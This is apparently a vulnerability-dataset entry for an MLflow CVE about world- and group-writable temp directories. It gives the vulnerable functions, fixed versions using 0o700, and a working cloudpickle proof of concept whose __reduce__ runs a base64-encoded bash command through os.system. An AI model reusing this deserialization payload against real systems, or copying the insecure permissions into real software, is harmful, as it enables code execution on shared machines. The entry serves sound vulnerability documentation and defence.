CVE-2026-4137

Insecure temp directory permissions in MLflow allow local code execution.

• CVSS 7.8
• CWE-378
• Configuration Issues
• Local

In mlflow/mlflow versions prior to 3.11.0, the `get_or_create_nfs_tmp_dir()` function in `mlflow/utils/file_utils.py` creates temporary directories with world-writable permissions (0o777), and the `_create_model_downloading_tmp_dir()` function in `mlflow/pyfunc/__init__.py` creates directories with group-writable permissions (0o770). These insecure permissions allow local attackers to tamper with model artifacts, such as cloudpickle-serialized Python objects, and achieve arbitrary code execution when the tampered artifacts are deserialized via `cloudpickle.load()`. This vulnerability is particularly critical in environments with shared NFS mounts, such as Databricks, where NFS is enabled by default. The issue is a continuation of the vulnerability class addressed in CVE-2025-10279, which was only partially fixed.

CVE

CVE-2026-4137

CWE

CWE-378

CVSS base score

7.8

Published

2026-05-18

OWASP

A08 Software and Data Integrity Failures

Orthogonal defect classification

Assignment

Code defect classification

Incorrect Assignment

Category

Configuration Issues

Subcategory

Poorly Designed Access Controls

Accessibility scope

Local

Impact

Arbitrary Code Execution

Affected component

mlflow

Fixed by upgrading

Yes

Solution

Upgrade mlflow to version 3.11.0 or later.

import os
import tempfile
import uuid

# Vulnerable code from mlflow/utils/file_utils.py before version 3.11.0
def get_or_create_nfs_tmp_dir():
    """
    Creates a temporary directory for NFS-based artifact logging.
    """
    path = os.path.join(tempfile.gettempdir(), f"mlflow-nfs-tmp-{uuid.uuid4()}")
    os.makedirs(path, exist_ok=True, mode=0o777)
    return path


# Vulnerable code from mlflow/pyfunc/__init__.py before version 3.11.0
def _create_model_downloading_tmp_dir():
    """
    Creates a temporary directory for downloading a model.
    """
    path = os.path.join(
        tempfile.gettempdir(), f"mlflow-model-tmp-{uuid.uuid4()}"
    )
    os.makedirs(path, exist_ok=True, mode=0o770)
    return path

import os
import tempfile

# This code represents the fix for the insecure directory permissions.
# The vulnerability was the use of `mode=0o777` or `mode=0o770`.
# The fix is to use `mode=0o700`, which restricts access to the owner only.

def secure_get_or_create_nfs_tmp_dir():
    """
    Simplified and fixed version of mlflow.utils.file_utils.get_or_create_nfs_tmp_dir.
    It creates a temporary directory with secure, user-only permissions (0o700).
    """
    nfs_tmp_dir = os.path.join(tempfile.gettempdir(), "mlflow_nfs_tmp")
    # The fix changes the permission mode from world-writable (0o777) to user-only.
    os.makedirs(nfs_tmp_dir, mode=0o700, exist_ok=True)
    return nfs_tmp_dir


def secure_create_model_downloading_tmp_dir():
    """
    Simplified and fixed version of mlflow.pyfunc._create_model_downloading_tmp_dir.
    It creates a temporary directory with secure, user-only permissions (0o700).
    """
    model_tmp_path = os.path.join(tempfile.gettempdir(), "mlflow_model_downloads")
    # The fix changes the permission mode from group-writable (0o770) to user-only.
    os.makedirs(model_tmp_path, mode=0o700, exist_ok=True)
    return model_tmp_path

import cloudpickle
import os
import base64

class MaliciousPayload:
    def __reduce__(self):
        # Base64 encoded command to avoid special characters:
        # `touch /tmp/pwned_by_deserialization`
        encoded_command = "dG91Y2ggL3RtcC9wd25lZF9ieV9kZXNlcmlhbGl6YXRpb24="
        command_to_run = f"bash -c 'echo {encoded_command} | base64 -d | bash'"
        return (os.system, (command_to_run,))

# The name of the artifact file MLflow will try to deserialize.
# An attacker would place this file in the insecure temporary directory.
malicious_pickle_file = "python_model.pkl"

with open(malicious_pickle_file, "wb") as f:
    cloudpickle.dump(MaliciousPayload(), f)

@misc{vaitp:cve20264137,
  title        = {{Insecure temp directory permissions in MLflow allow local code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-4137},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-4137/}}
}